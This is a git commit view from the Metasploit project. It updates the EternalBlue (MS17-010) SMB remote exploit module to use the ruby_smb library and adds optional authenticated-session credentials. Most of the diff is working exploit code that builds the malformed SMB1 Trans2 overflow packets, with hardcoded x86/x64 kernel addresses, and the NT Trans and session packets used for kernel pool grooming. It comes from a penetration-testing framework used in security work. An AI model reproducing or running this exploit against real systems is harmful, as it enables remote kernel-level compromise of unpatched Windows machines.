Land #8488, Leverage ruby_smb and add authenticated smb session

bug/bundler_fix
bwatters-r7 2017-05-31 15:15:29 -05:00
commit 6161fbacb0
No known key found for this signature in database
GPG Key ID: ECC0F0A52E65F268
2 changed files with 175 additions and 288 deletions

View File

@ -328,7 +328,7 @@ GEM
rspec-mocks (~> 3.6.0)
rspec-support (~> 3.6.0)
rspec-support (3.6.0)
ruby_smb (0.0.17)
ruby_smb (0.0.18)
bindata
rubyntlm
windows_error

View File

@ -5,6 +5,7 @@
require 'ruby_smb'
require 'ruby_smb/smb1/packet'
require 'windows_error'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
@ -27,13 +28,18 @@ class MetasploitModule < Msf::Exploit::Remote
This exploit, like the original may not trigger 100% of the time, and should be
run continuously until triggered. It seems like the pool will get hot streaks
and need a cool down period before the shells rain in again.
The module will attempt to use Anonymous login, by default, to authenticate to perform the
exploit. If the user supplies credentials in the SMBUser,SMBPass, and SMBDomain options it will use
those instead.
},
'Author' => [
'Sean Dillon <sean.dillon@risksense.com>', # @zerosum0x0
'Dylan Davis <dylan.davis@risksense.com>', # @jennamagius
'Equation Group',
'Shadow Brokers'
'Shadow Brokers',
'thelightcosine' # RubySMB refactor and Fallback Credential mode
],
'License' => MSF_LICENSE,
'References' =>
@ -85,7 +91,10 @@ class MetasploitModule < Msf::Exploit::Remote
OptInt.new( 'GroomAllocations', [ true, "Initial number of times to groom the kernel pool.", 12 ] ),
OptInt.new( 'GroomDelta', [ true, "The amount to increase the groom count by per try.", 5 ] ),
OptBool.new( 'VerifyTarget', [ true, "Check if remote OS matches exploit Target.", true ] ),
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] )
OptBool.new( 'VerifyArch', [ true, "Check if remote architecture matches exploit Target.", true ] ),
OptString.new('SMBUser', [ false, '(Optional) The username to authenticate as', '']),
OptString.new('SMBPass', [ false, '(Optional) The password for the specified username', '']),
OptString.new('SMBDomain', [ false, '(Optional) The Windows domain to use for authentication', '.']),
])
end
@ -153,11 +162,22 @@ class MetasploitModule < Msf::Exploit::Remote
client, tree, sock, os = smb1_anonymous_connect_ipc()
print_good("Connection established for exploitation.")
if !verify_target(os)
if verify_target(os)
print_good('Target OS selected valid for OS indicated by SMB reply')
else
print_warning('Target OS selected not valid for OS indicated by SMB reply')
print_warning('Disable VerifyTarget option to proceed manually...')
raise EternalBlueError, 'Unable to continue with improper OS Target.'
end
if !verify_arch
# cool buffer print no matter what, will be helpful when people post debug issues
print_core_buffer(os)
if verify_arch
print_good('Target arch selected valid for arch indicated by DCE/RPC reply')
else
print_warning('Target arch selected not valid for arch indicated by DCE/RPC reply')
print_warning('Disable VerifyArch option to proceed manually...')
raise EternalBlueError, 'Unable to continue with improper OS Arch.'
end
@ -234,18 +254,8 @@ class MetasploitModule < Msf::Exploit::Remote
break
end
end
if ret
print_good('Target OS selected valid for OS indicated by SMB reply')
else
print_warning('Target OS selected not valid for OS indicated by SMB reply')
print_warning('Disable VerifyTarget option to proceed manually...')
end
end
# cool buffer print no matter what, will be helpful when people post debug issues
print_core_buffer(os)
return ret
end
@ -263,10 +273,15 @@ class MetasploitModule < Msf::Exploit::Remote
'71710533-beba-4937-8319-b5dbef9ccc36', '1.0'
).first
sock = connect(false,
'RHOST' => rhost,
'RPORT' => 135
)
begin
sock = connect(false,
'RHOST' => rhost,
'RPORT' => 135
)
rescue Rex::ConnectionError => e
print_error(e.to_s)
return false
end
sock.put(pkt)
@ -300,13 +315,6 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
if ret
print_good('Target arch selected valid for OS indicated by DCE/RPC reply')
else
print_warning('Target arch selected not valid for OS indicated by DCE/RPC reply')
print_warning('Disable VerifyArch option to proceed manually...')
end
ret
end
@ -341,33 +349,16 @@ class MetasploitModule < Msf::Exploit::Remote
end
end
def smb1_anonymous_connect_ipc()
def smb1_anonymous_connect_ipc
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
client.negotiate
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
response_code = client.login
pkt = make_smb1_anonymous_login_packet
sock.put(pkt)
code, raw, response = smb1_get_response(sock)
if code.nil?
raise RubySMB::Error::UnexpectedStatusCode, "No response to login request"
unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code.to_s}"
end
unless code == 0 # WindowsError::NTStatus::STATUS_SUCCESS
raise RubySMB::Error::UnexpectedStatusCode, "Error with anonymous login"
end
client.user_id = response.uid
# todo: RubySMB throwing exceptions
# sess = RubySMB::SMB1::Packet::SessionSetupResponse.new(raw)
os = raw.split("\x00\x00")[-2]
# todo: rubysmb should set this automatically?
#client.peer_native_os = os
os = client.peer_native_os
tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
@ -379,11 +370,8 @@ class MetasploitModule < Msf::Exploit::Remote
# send NT Trans
vprint_status("Sending NT Trans Request packet")
sock.put(nt_trans_pkt)
vprint_status("Receiving NT Trans packet")
raw = sock.get_once
client.send_recv(nt_trans_pkt)
# Initial Trans2 request
trans2_pkt_nulled = make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_zero, 0)
@ -392,18 +380,18 @@ class MetasploitModule < Msf::Exploit::Remote
trans2_pkt_nulled << make_smb1_trans2_exploit_packet(tree.id, client.user_id, :eb_trans2_buffer, i)
end
trans2_pkt_nulled << make_smb1_echo_packet(tree.id, client.user_id)
vprint_status("Sending malformed Trans2 packets")
sock.put(trans2_pkt_nulled)
sock.get_once
client.echo(count:1, data: "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00")
end
def smb1_free_hole(start)
sock = connect(false)
dispatcher = RubySMB::Dispatcher::Socket.new(sock)
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: '', password: '')
client = RubySMB::Client.new(dispatcher, smb1: true, smb2: false, username: smb_user, password: smb_pass)
client.negotiate
pkt = ""
@ -416,13 +404,8 @@ class MetasploitModule < Msf::Exploit::Remote
pkt = make_smb1_free_hole_session_packet("\x07\x40", "\x2c\x01", "\xf8\x87\x00\x00\x00")
end
#dump_packet(pkt)
sock.put(pkt)
vprint_status("Receiving free hole response.")
sock.get_once
return sock
client.send_recv(pkt)
sock
end
def smb1_get_response(sock)
@ -492,263 +475,125 @@ class MetasploitModule < Msf::Exploit::Remote
pkt
end
def make_smb1_echo_packet(tree_id, user_id)
pkt = ""
pkt << "\x00" # type
pkt << "\x00\x00\x31" # len = 49
pkt << "\xffSMB" # SMB1
pkt << "\x2b" # Echo
pkt << "\x00\x00\x00\x00" # Success
pkt << "\x18" # flags
pkt << "\x07\xc0" # flags2
pkt << "\x00\x00" # PID High
pkt << "\x00\x00\x00\x00" # Signature1
pkt << "\x00\x00\x00\x00" # Signature2
pkt << "\x00\x00" # Reserved
pkt << [tree_id].pack("S>") # Tree ID
pkt << "\xff\xfe" # PID
pkt << [user_id].pack("S>") # UserID
pkt << "\x40\x00" # MultiplexIDs
pkt << "\x01" # Word count
pkt << "\x01\x00" # Echo count
pkt << "\x0c\x00" # Byte count
# echo data
# this is an existing IDS signature, and can be nulled out
#pkt << "\x4a\x6c\x4a\x6d\x49\x68\x43\x6c\x42\x73\x72\x00"
pkt << "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x00"
pkt
end
# Type can be :eb_trans2_zero, :eb_trans2_buffer, or :eb_trans2_exploit
def make_smb1_trans2_exploit_packet(tree_id, user_id, type, timeout)
timeout = (timeout * 0x10) + 3
timeout_value = "\x35\x00\xd0" + timeout.chr
pkt = ""
pkt << "\x00" # Session message
pkt << "\x00\x10\x35" # length
pkt << "\xffSMB" # SMB1
pkt << "\x33" # Trans2 request
pkt << "\x00\x00\x00\x00" # NT SUCCESS
pkt << "\x18" # Flags
pkt << "\x07\xc0" # Flags2
pkt << "\x00\x00" # PID High
pkt << "\x00\x00\x00\x00" # Signature1
pkt << "\x00\x00\x00\x00" # Signature2
pkt << "\x00\x00" # Reserved
pkt << [tree_id].pack("S>") # TreeID
pkt << "\xff\xfe" # PID
pkt << [user_id].pack("S>") # UserID
pkt << "\x40\x00" # MultiplexIDs
packet = RubySMB::SMB1::Packet::Trans2::Request.new
packet = set_smb1_headers(packet,tree_id,user_id)
pkt << "\x09" # Word Count
pkt << "\x00\x00" # Total Param Count
pkt << "\x00\x10" # Total Data Count
pkt << "\x00\x00" # Max Param Count
pkt << "\x00\x00" # Max Data Count
pkt << "\x00" # Max Setup Count
pkt << "\x00" # Reserved
pkt << "\x00\x10" # Flags
pkt << "\x35\x00\xd0" # Timeouts
pkt << timeout.chr
pkt << "\x00\x00" # Reserved
pkt << "\x00\x10" # Parameter Count
# The packets are labeled as Secondary Requests but are actually structured
# as normal Trans2 Requests for some reason. We shall similarly cheat here.
packet.smb_header.command = RubySMB::SMB1::Commands::SMB_COM_TRANSACTION2_SECONDARY
#pkt << "\x74\x70" # Parameter Offset
#pkt << "\x47\x46" # Data Count
#pkt << "\x45\x6f" # Data Offset
#pkt << "\x4c" # Setup Count
#pkt << "\x4f" # Reserved
packet.parameter_block.flags.read("\x00\x10")
packet.parameter_block.timeout.read(timeout_value)
if type == :eb_trans2_exploit
vprint_status("Making :eb_trans2_exploit packet")
packet.parameter_block.word_count = 9
packet.parameter_block.total_data_count = 4096
packet.parameter_block.parameter_count = 4096
pkt << "\x41" * 2957
nbss = "\x00\x00\x10\x35"
pkt = packet.to_binary_s
pkt = pkt[0,packet.parameter_block.parameter_offset.abs_offset]
pkt = nbss + pkt
pkt << "\x80\x00\xa8\x00" # overflow
case type
when :eb_trans2_exploit
vprint_status("Making :eb_trans2_exploit packet")
pkt << "\x00" * 0x10
pkt << "\xff\xff"
pkt << "\x00" * 0x6
pkt << "\xff\xff"
pkt << "\x00" * 0x16
pkt << "\x41" * 2957
pkt << "\x00\xf1\xdf\xff" # x86 addresses
pkt << "\x00" * 0x8
pkt << "\x20\xf0\xdf\xff"
pkt << "\x80\x00\xa8\x00" # overflow
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
pkt << "\x00" * 0x10
pkt << "\xff\xff"
pkt << "\x00" * 0x6
pkt << "\xff\xff"
pkt << "\x00" * 0x16
pkt << "\x60\x00\x04\x10"
pkt << "\x00" * 4
pkt << "\x00\xf1\xdf\xff" # x86 addresses
pkt << "\x00" * 0x8
pkt << "\x20\xf0\xdf\xff"
pkt << "\x80\xef\xdf\xff"
pkt << "\x00\xf1\xdf\xff\xff\xff\xff\xff" # x64
pkt << "\x00" * 4
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x10
pkt << "\x60\x00\x04\x10"
pkt << "\x00" * 4
pkt << "\x60\x00\x04\x10"
pkt << "\x00" * 0xc
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x8
pkt << "\x80\x10"
pkt << "\x00" * 0xe
pkt << "\x39"
pkt << "\xbb"
pkt << "\x80\xef\xdf\xff"
pkt << "\x41" * 965
pkt << "\x00" * 4
pkt << "\x10\x00\xd0\xff\xff\xff\xff\xff"
pkt << "\x18\x01\xd0\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x10
return pkt
pkt << "\x60\x00\x04\x10"
pkt << "\x00" * 0xc
pkt << "\x90\xff\xcf\xff\xff\xff\xff\xff"
pkt << "\x00" * 0x8
pkt << "\x80\x10"
pkt << "\x00" * 0xe
pkt << "\x39"
pkt << "\xbb"
pkt << "\x41" * 965
when :eb_trans2_zero
vprint_status("Making :eb_trans2_zero packet")
pkt << "\x00" * 2055
pkt << "\x83\xf3"
pkt << "\x41" * 2039
else
vprint_status("Making :eb_trans2_buffer packet")
pkt << "\x41" * 4096
end
if type == :eb_trans2_zero
vprint_status("Making :eb_trans2_zero packet")
pkt << "\x00" * 2055
pkt << "\x83\xf3"
pkt << "\x41" * 2039
#pkt << "\x00" * 4096
else
vprint_status("Making :eb_trans2_buffer packet")
pkt << "\x41" * 4096
end
pkt
end
def make_smb1_nt_trans_packet(tree_id, user_id)
pkt = ""
pkt << "\x00" # Session message
pkt << "\x00\x04\x38" # length
pkt << "\xffSMB" # SMB1
pkt << "\xa0" # NT Trans
pkt << "\x00\x00\x00\x00" # NT SUCCESS
pkt << "\x18" # Flags
pkt << "\x07\xc0" # Flags2
pkt << "\x00\x00" # PID High
pkt << "\x00\x00\x00\x00" # Signature1
pkt << "\x00\x00\x00\x00" # Signature2
pkt << "\x00\x00" # Reserved
pkt << [tree_id].pack("S>") # TreeID
pkt << "\xff\xfe" # PID
pkt << [user_id].pack("S>") # UserID
pkt << "\x40\x00" # MultiplexID
packet = RubySMB::SMB1::Packet::NtTrans::Request.new
pkt << "\x14" # Word Count
pkt << "\x01" # Max Setup Count
pkt << "\x00\x00" # Reserved
pkt << "\x1e\x00\x00\x00" # Total Param Count
pkt << "\xd0\x03\x01\x00" # Total Data Count
pkt << "\x1e\x00\x00\x00" # Max Param Count
pkt << "\x00\x00\x00\x00" # Max Data Count
pkt << "\x1e\x00\x00\x00" # Param Count
pkt << "\x4b\x00\x00\x00" # Param Offset
pkt << "\xd0\x03\x00\x00" # Data Count
pkt << "\x68\x00\x00\x00" # Data Offset
pkt << "\x01" # Setup Count
pkt << "\x00\x00" # Function <unknown>
pkt << "\x00\x00" # Unknown NT transaction (0) setup
pkt << "\xec\x03" # Byte Count
pkt << "\x00" * 0x1f # NT Parameters
# Disable the automatic padding because it will distort
# our values here.
packet.data_block.enable_padding = false
# undocumented
pkt << "\x01"
pkt << "\x00" * 0x3cd
packet = set_smb1_headers(packet,tree_id,user_id)
pkt
packet.parameter_block.max_setup_count = 1
packet.parameter_block.total_parameter_count = 30
packet.parameter_block.total_data_count = 66512
packet.parameter_block.max_parameter_count = 30
packet.parameter_block.max_data_count = 0
packet.parameter_block.parameter_count = 30
packet.parameter_block.parameter_offset = 75
packet.parameter_block.data_count = 976
packet.parameter_block.data_offset = 104
packet.parameter_block.function = 0
packet.parameter_block.setup << 0x0000
packet.data_block.byte_count = 1004
packet.data_block.trans2_parameters = "\x00" * 31 + "\x01" + ( "\x00" * 973 )
packet
end
def make_smb1_free_hole_session_packet(flags2, vcnum, native_os)
pkt = ""
pkt << "\x00" # Session message
pkt << "\x00\x00\x51" # length
pkt << "\xffSMB" # SMB1
pkt << "\x73" # Session Setup AndX
pkt << "\x00\x00\x00\x00" # NT SUCCESS
pkt << "\x18" # Flags
pkt << flags2 # Flags2
pkt << "\x00\x00" # PID High
pkt << "\x00\x00\x00\x00" # Signature1
pkt << "\x00\x00\x00\x00" # Signature2
pkt << "\x00\x00" # Reserved
pkt << "\x00\x00" # TreeID
pkt << "\xff\xfe" # PID
pkt << "\x00\x00" # UserID
pkt << "\x40\x00" # MultiplexID
#pkt << "\x00\x00" # Reserved
packet = RubySMB::SMB1::Packet::SessionSetupRequest.new
pkt << "\x0c" # Word Count
pkt << "\xff" # No further commands
pkt << "\x00" # Reserved
pkt << "\x00\x00" # AndXOffset
pkt << "\x04\x11" # Max Buffer
pkt << "\x0a\x00" # Max Mpx Count
pkt << vcnum # VC Number
pkt << "\x00\x00\x00\x00" # Session key
pkt << "\x00\x00" # Security blob length
pkt << "\x00\x00\x00\x00" # Reserved
pkt << "\x00\x00\x00\x80" # Capabilities
pkt << "\x16\x00" # Byte count
#pkt << "\xf0" # Security Blob: <MISSING>
#pkt << "\xff\x00\x00\x00" # Native OS
#pkt << "\x00\x00" # Native LAN manager
#pkt << "\x00\x00" # Primary domain
pkt << native_os
pkt << "\x00" * 17 # Extra byte params
packet.smb_header.flags.read("\x18")
packet.smb_header.flags2.read(flags2)
packet.smb_header.pid_high = 65279
packet.smb_header.mid = 64
pkt
end
packet.parameter_block.vc_number.read(vcnum)
packet.parameter_block.max_buffer_size = 4356
packet.parameter_block.max_mpx_count = 10
packet.parameter_block.security_blob_length = 0
def make_smb1_anonymous_login_packet
# Neither Rex nor RubySMB appear to support Anon login?
pkt = ""
pkt << "\x00" # Session message
pkt << "\x00\x00\x88" # length
pkt << "\xffSMB" # SMB1
pkt << "\x73" # Session Setup AndX
pkt << "\x00\x00\x00\x00" # NT SUCCESS
pkt << "\x18" # Flags
pkt << "\x07\xc0" # Flags2
pkt << "\x00\x00" # PID High
pkt << "\x00\x00\x00\x00" # Signature1
pkt << "\x00\x00\x00\x00" # Signature2
pkt << "\x00\x00" # TreeID
pkt << "\xff\xfe" # PID
pkt << "\x00\x00" # Reserved
pkt << "\x00\x00" # UserID
pkt << "\x40\x00" # MultiplexID
pkt << "\x0d" # Word Count
pkt << "\xff" # No further commands
pkt << "\x00" # Reserved
pkt << "\x88\x00" # AndXOffset
pkt << "\x04\x11" # Max Buffer
pkt << "\x0a\x00" # Max Mpx Count
pkt << "\x00\x00" # VC Number
pkt << "\x00\x00\x00\x00" # Session key
pkt << "\x01\x00" # ANSI pw length
pkt << "\x00\x00" # Unicode pw length
pkt << "\x00\x00\x00\x00" # Reserved
pkt << "\xd4\x00\x00\x00" # Capabilities
pkt << "\x4b\x00" # Byte count
pkt << "\x00" # ANSI pw
pkt << "\x00\x00" # Account name
pkt << "\x00\x00" # Domain name
# Windows 2000 2195
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00\x35\x00"
pkt << "\x00\x00"
# Windows 2000 5.0
pkt << "\x57\x00\x69\x00\x6e\x00\x64\x00\x6f\x00\x77\x00\x73\x00\x20\x00\x32"
pkt << "\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00\x2e\x00\x30\x00\x00\x00"
pkt
packet.data_block.native_os = native_os
packet.data_block.native_lan_man = "\x00" * 17
packet
end
# ring3 = user mode encoded payload
@ -836,4 +681,46 @@ class MetasploitModule < Msf::Exploit::Remote
end
# Sets common SMB1 Header values used by the various
# packets in the exploit.
#
# @rturn [RubySMB::GenericPacket] the modified version of the packet
def set_smb1_headers(packet,tree_id,user_id)
packet.smb_header.flags2.read("\x07\xc0")
packet.smb_header.tid = tree_id
packet.smb_header.uid = user_id
packet.smb_header.pid_low = 65279
packet.smb_header.mid = 64
packet
end
# Returns the value to be passed to SMB clients for
# the password. If the user hs not supplied a password
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the password value
def smb_pass
if datastore['SMBPass'].present?
datastore['SMBPass']
else
''
end
end
# Returns the value to be passed to SMB clients for
# the username. If the user hs not supplied a username
# it returns an empty string to trigger an anonymous
# logon.
#
# @return [String] the username value
def smb_user
if datastore['SMBUser'].present?
datastore['SMBUser']
else
''
end
end
end